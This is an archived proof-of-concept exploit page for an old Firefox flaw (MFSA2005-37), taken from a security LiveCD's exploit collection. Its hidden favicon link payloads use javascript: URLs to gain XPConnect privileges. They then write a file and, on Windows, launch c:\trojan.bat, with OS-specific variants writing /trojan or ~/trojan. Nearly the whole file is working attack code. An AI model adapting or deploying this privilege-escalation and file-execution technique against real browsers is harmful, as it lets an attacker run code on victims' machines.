home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / firefox / MFSA200537.c < prev    next >
Encoding:
Text File  |  2005-05-06  |  3.4 KB  |  79 lines
  1. // FrSIRT Comment : If a user clicks on a link, this code will create and
  2. // launch the file c:\trojan.bat (on Windows).
  3. // On Linux and Mac OS X this code will create the file ~/trojan or /trojan
  4.  
  5. <html>
  6. <head>
  7. <link rel="SHORTCUT ICON" href="favicon.ico"> 
  8. <script language="JavaScript" type="text/javascript">
  9. var pf = navigator.platform.toLowerCase();
  10. if (pf.indexOf("win") != -1) {
  11. var os = "win";
  12. } else if (pf.indexOf("mac") != -1) {
  13. var os = "mac";
  14. } else {
  15. var os = "linux"
  16. }
  17. function runDemo() {
  18. // this is an ugly caching workaround
  19. document.getElementById('outhtml').innerHTML = "";
  20. document.getElementById('outhtml').innerHTML += 
  21. document.getElementById('clearhtml').value
  22. document.getElementById('outhtml').innerHTML += 
  23. document.getElementById('clearhtml').value
  24. document.getElementById('outhtml').innerHTML += 
  25. document.getElementById('clearhtml').value
  26. window.setTimeout("document.getElementById('outhtml').innerHTML += 
  27. document.getElementById('linkhtml_"+os+"').value",300);
  28. } 
  29. </script>
  30. </head>
  31. <body>
  32.  
  33. <div id="outhtml" style="display:none"></div>
  34.  
  35. <textarea id="clearhtml" style="display:none">
  36. <link rel="SHORTCUT ICON" href="favicon.ico">
  37. </textarea>
  38.  
  39. <textarea id="linkhtml_win" style="display:none">
  40. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow
  41. ('javascript:netscape.security.PrivilegeManager.enablePrivilege
  42. (\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\']
  43. .createInstance(Components.interfaces.nsILocalFile);
  44. file.initWithPath(\'c:\\\\trojan.bat\');file.createUnique(Components.interfaces.nsIFile
  45. .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/
  46. network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFile
  47. OutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO 
  48. OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,
  49. output.length);outputStream.close();file.launch();','','')">
  50. </textarea>
  51.  
  52. <textarea id="linkhtml_mac" style="display:none">
  53. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:
  54. netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
  55. file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components
  56. .interfaces.nsILocalFile);file.initWithPath(\'/trojan\');file.createUnique(Components
  57. .interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes
  58. [\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces
  59. .nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);
  60. output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')">
  61. </textarea>
  62.  
  63. <textarea id="linkhtml_linux" style="display:none">
  64. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape
  65. .security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components
  66. .classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
  67. file.initWithPath(\'~/trojan\');file.createUnique(Components.interfaces.nsIFile
  68. .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
  69. file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
  70. outputStream.init(file,0x04|0x08|0x20,420,0);output=\'trojan!\';outputStream.
  71. write(output,output.length);outputStream.close();','','')">
  72. </textarea><br>
  73. <a href="#" onclick="runDemo();runDemo();">Click HERE</a>
  74. </div>
  75. </body>
  76. </html>
  77.  
  78. Integration
  79.